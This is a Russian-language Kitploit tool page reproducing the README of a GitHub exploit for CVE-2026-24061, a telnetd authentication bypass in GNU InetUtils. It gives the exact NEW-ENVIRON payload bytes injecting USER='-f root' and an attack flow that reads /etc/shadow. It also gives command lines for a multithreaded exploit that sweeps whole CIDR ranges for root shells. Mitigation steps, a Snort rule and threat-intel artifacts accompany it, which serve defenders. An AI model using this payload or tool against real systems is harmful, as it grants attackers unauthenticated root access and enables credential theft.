Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/franckferman/cve-2026-24061
Сканеры уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеРазведка угрозАутентификацияОбучение и ОбразованиеRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd — неаутентифицированный удалённый root через внедрение переменной NEW-ENVIRON.

Репозиторий
45 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE Score License Python No deps

GNU InetUtils telnetd — Неаутентифицированный удалённый root через инъекцию переменной NEW-ENVIRON

Обзор - Технический анализ - Затронутые версии - Использование - Устранение и смягчение - Ссылки


Обзор уязвимости

CVE-2026-24061 — это критическая уязвимость обхода аутентификации в демоне telnetd, распространяемом в составе GNU InetUtils. Дефект заключается в обработке опции Telnet NEW-ENVIRON (RFC 1572) во время начального протокольного рукопожатия.

Корневая причина — отсутствие санитизации переменных окружения, предоставленных клиентом, перед их передачей программе login(1). Когда демон Telnet получает пакет суб-согласования , содержащий переменную со значением , он передаёт это несанитизированное значение напрямую системному бинарному файлу .

NEW-ENVIRON IS
USER
-f root
login

В системах, где login принимает флаг -f (принудительный вход без проверки пароля), это приводит к предоставлению удалённому атакующему неаутентифицированной root-сессии.

Этот класс уязвимостей имеет исторический прецедент: CVE-2001-0797 в SysV telnetd и известный обход -f в Linux telnetd 1994 года эксплуатировали тот же фундаментальный недостаток — отсутствие санитизации аргументов, поступающих из окружения, перед передачей привилегированным бинарным файлам.

Учётные данные не требуются. Предварительный доступ не нужен. Одна последовательность сетевых пакетов даёт root.

Технический анализ

Корневая причина

telnetd из GNU InetUtils обрабатывает суб-согласование NEW-ENVIRON (код опции 0x27, согласно RFC 1572) для сбора переменных окружения, предоставленных клиентом. Эти переменные собираются в вектор аргументов и передаются в execve(2) при запуске login(1).

Уязвимость срабатывает следующим образом:

  1. Сервер отправляет IAC DO NEW-ENVIRON, запрашивая переменные окружения у клиента.
  2. Вредоносный клиент отвечает IAC WILL NEW-ENVIRON.
  3. Сервер отправляет IAC SB NEW-ENVIRON SEND IAC SE.
  4. Клиент отправляет инъекционную полезную нагрузку:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd формирует вызов login как login -f root.
  2. login(1) интерпретирует -f как «принудительный вход, пропустить аутентификацию» и выполняет вход указанного пользователя (root) без запроса пароля.

Разбор на уровне протокола

ШагНаправлениеTelnet-байты (hex)Значение
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Почему -f root работает

Бинарный файл login(1) во многих системах Linux принимает флаг -f <user> для «предварительно аутентифицированных» входов, исторически использовавшийся терминальными мультиплексорами и rlogin. Когда telnetd формирует свой вызов exec и не удаляет ведущие дефисы или не проверяет строки, похожие на опции, в значениях переменных окружения, он непреднамеренно передаёт управляемые атакующим флаги напрямую в login.

Эффективный вызов становится:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

Сценарий атаки

root@kitploit:~
Атакующий                                    Уязвимый telnetd (порт 23)
   |                                                   |
   |------- TCP SYN (порт 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet-баннер + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd вызывает: login -f root]          |
   |                                                   |
   |<------ Приглашение root-оболочки (#) -------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow содержимое ---|

Предварительные условия:

  • Целевая система запускает telnetd из GNU InetUtils (TCP/23 открыт)
  • Незапатченная версия inetutils
  • Бинарный файл login(1) поддерживает флаг -f (стандартно в большинстве дистрибутивов Linux)
  • Брандмауэр не блокирует TCP/23

Затронутые версии

Программное обеспечениеЗатронутые версииСтатус
GNU InetUtils telnetd<= 2.x (конкретная запатченная версия уточняется)Уязвим
Дистрибутивы, поставляющие незапатченный GNU inetutilsРазличныеПроверьте рекомендации вендора

Проверьте, поставляет ли ваш дистрибутив запатченную версию. Во многих современных системах Telnet отключён по умолчанию; для эксплуатации требуется явно запущенный telnetd.

Оценка CVSS

МетрикаЗначение
Базовый балл CVSS v3.19.8 (Критический)
Вектор атакиСеть
Сложность атакиНизкая
Требуемые привилегииНет
Взаимодействие с пользователемНет
Область действияБез изменений
Влияние на конфиденциальностьВысокое
Влияние на целостностьВысокое
Влияние на доступностьВысокое
Строка вектораCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Сопоставление с MITRE ATT&CK

ID ATT&CKТактикаТехникаАктуальность
T1190Начальный доступЭксплуатация публично доступного приложенияПрямая эксплуатация telnetd по сети
T1059ВыполнениеИнтерпретатор команд и скриптовВыполнение команд в оболочке после эксплуатации
T1078.004Повышение привилегий / Обход защитыДействительные учётные записи: локальные учётные записиОбход аутентификации даёт действительную root-сессию
T1548Повышение привилегийЗлоупотребление механизмом контроля повышения привилегийФлаг login -f используется для обхода PAM/аутентификации
T1046РазведкаОбнаружение сетевых службКомпонент массового сканирования в PoC

Установка

Требования: Python 3 (только стандартная библиотека, ноль внешних зависимостей).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

pip install не требуется. Оба скрипта используют только стандартную библиотеку Python.

Структура проекта

root@kitploit:~
poc_cve_2026_24061.py       # Простой PoC (~100 строк) — понять уязвимость
cve_2026_24061.py           # Промышленный эксплойт — многопоточный, CIDR, экспорт CSV/JSON
scripts/
  generate_signatures.py    # Автогенерация правил Snort/Suricata + Sigma из полезной нагрузки
  generate_misp_event.py    # Генерация JSON-события для импорта в MISP
  generate_stix_bundle.py   # Генерация пакета STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Правила обнаружения Snort/Suricata (автогенерированные)
  sigma.yml                 # Правило Sigma для SIEM (автогенерированное)
indicators/
  misp_event.json           # Событие MISP — импорт через Events > Add Event > Import
  stix_bundle.json          # Пакет STIX 2.1 — 11 объектов (vuln, indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py: Минимальный, читаемый, обучающий. Одна цель, одна функция, ноль абстракций. Прочитайте его, чтобы точно понять, как уязвимость работает на уровне протокола.
  • cve_2026_24061.py: Промышленный эксплойт для пентест-задач. Многопоточный, поддерживает CIDR-диапазоны, ввод из файла, экспорт CSV/JSON, тихий режим, произвольных пользователей.

Использование

Простой PoC (poc_cve_2026_24061.py)

Эксплуатация одной цели. Код намеренно минимален, чтобы вы могли прочитать его от начала до конца и понять всю цепочку атаки.

root@kitploit:~
# Базовое использование
python3 poc_cve_2026_24061.py 192.168.1.100

# Произвольный порт
python3 poc_cve_2026_24061.py 10.0.0.5 2323

Промышленный эксплойт (cve_2026_24061.py)

Одна цель

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

CIDR-диапазон (массовое сканирование)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

Ввод из файла

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

Экспорт в JSON

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

Произвольный целевой пользователь

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

Тихий режим (для конвейеров)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

Полный список опций

ПараметрПо умолчаниюОписание
-t / --target-Один IP, имя хоста или CIDR-диапазон
-f / --file-Файл с IP/CIDR (по одному на строку, комментарии #)
-T / --threads10Количество параллельных потоков
-p / --port23Целевой Telnet-порт
--timeout5Таймаут сокета в секундах
--userrootИмя пользователя для полезной нагрузки -f
-o / --output-Экспорт результатов в CSV-файл
--json-Экспорт результатов в JSON-файл
-q / --quietвыклТихий режим: выводить только уязвимые цели (по одной на строку)
--no-colorвыклОтключить ANSI-цвета в выводе

Статусы вывода

СтатусЗначение
[VULN]Хост подтверждён как уязвимый — получена root-оболочка
[SAFE]Хост ответил, но аутентификация не была обойдена
[CLOS]Порт закрыт или соединение отклонено
[ERR ]Ошибка сокета или протокола во время сканирования

Столбцы CSV-вывода: ip:port, status, message

Поведение PoC

Скрипт реализует полный конечный автомат согласования Telnet NEW-ENVIRON нативно на Python, без использования внешних Telnet-библиотек:

  1. Открывает сырой TCP-сокет к цели на порту 23 (настраивается).
  2. Читает входящие последовательности команд IAC и отвечает на DO NEW-ENVIRON командой WILL NEW-ENVIRON.
  3. При получении суб-согласования сервера SB NEW-ENVIRON SEND передаёт инъекционную полезную нагрузку (USER = "-f root").
  4. Отслеживает буфер ответа на признаки успешного входа root: наличие uid=0(root) или приглашения оболочки (#) при отсутствии Login incorrect или Password:.
  5. Если полезная нагрузка была инъектирована, отправляет id\n и проверяет наличие uid=0(root) в ответе как вторичное подтверждение.

Результаты выводятся в stdout с цветными статусными метками. Опциональный экспорт в CSV фиксирует все находки для последующей обработки.

Устранение и смягчение

Немедленные действия

  1. Полностью отключите Telnet. Telnet передаёт все данные в открытом виде. Замените на SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. Примените патч вендора. Установите запатченную версию inetutils из вашего дистрибутива, как только она станет доступна.

  3. Заблокируйте TCP/23 на периметре. Примените правила брандмауэра для запрета входящих Telnet-соединений.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

Эшелонированная защита

КонтрольОписание
Сегментация сетиОграничьте Telnet изолированными управляющими сетями, если его нельзя отключить
Усиление PAMПроверьте конфигурацию PAM; отключите предварительную аутентификацию -f, где она не требуется в login.defs
Сигнатуры IDS/IPSОбнаруживайте паттерны NEW-ENVIRON IS VAR USER VALUE -f в Telnet-трафике
Журналирование аудитаОтслеживайте auth.log / secure на предмет неожиданных входов root через login
Сканирование уязвимостейЗапускайте аутентифицированные сканы (OpenVAS, Nessus) для выявления незапатченного inetutils

Обнаружение (SIEM/IDS)

Каркас правила Snort/Suricata для обнаружения эксплойта в трафике:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

Threat Intelligence

Этот репозиторий поставляет предварительно сгенерированные артефакты threat intelligence, готовые к импорту в ваш стек SOC/CTI. Они автоматически генерируются CI из фактической полезной нагрузки эксплойта — если полезная нагрузка изменится, артефакты обновятся.

MISP

Импортируйте indicators/misp_event.json напрямую в любой экземпляр MISP:

root@kitploit:~
Events > Add Event > Import from... > JSON

Событие содержит: ID CVE, вектор CVSS, сигнатуру Snort, hex полезной нагрузки, теги MITRE ATT&CK (T1190, T1548, T1059), CPE и внешние ссылки.

STIX 2.1

Импортируйте indicators/stix_bundle.json в OpenCTI, серверы TAXII или любой потребитель STIX 2.1.

Пакет содержит 11 объектов: Vulnerability, Indicator (сетевой паттерн), 3 Attack Patterns (MITRE), Course of Action (устранение), Identity и связи между ними.

Сигнатуры IDS

Готовые правила в signatures/:

  • snort.rules — 3 правила Snort/Suricata (попытка эксплойта, общая инъекция -f, root-оболочка после эксплуатации)
  • sigma.yml — правило Sigma для корреляции в SIEM

Перегенерация

Если вы измените полезную нагрузку эксплойта, перегенерируйте все артефакты:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

Ссылки: MISP - OpenCTI - STIX 2.1 - Sigma

Ссылки

  • Официальный репозиторий GNU InetUtils
  • RFC 1572 — Опция окружения Telnet (NEW-ENVIRON)
  • RFC 854 — Спецификация протокола Telnet
  • CVE-2001-0797 — Исторический обход -f в SysV telnetd (прецедент)
  • MITRE ATT&CK — T1190: Эксплуатация публично доступного приложения
  • MITRE ATT&CK — T1548: Злоупотребление механизмом контроля повышения привилегий
  • Проект MISP
  • Страница man Linux login(1)

Правовое уведомление

Этот инструмент предоставляется только для авторизованного аудита безопасности, академических исследований и образовательных целей. Использование против систем без явного письменного разрешения владельца системы незаконно в соответствии с применимыми законами о компьютерном мошенничестве и злоупотреблениях (включая, но не ограничиваясь, CFAA, Computer Misuse Act и эквивалентным законодательством). Автор не несёт ответственности за несанкционированное или вредоносное использование.

Скачать инструмент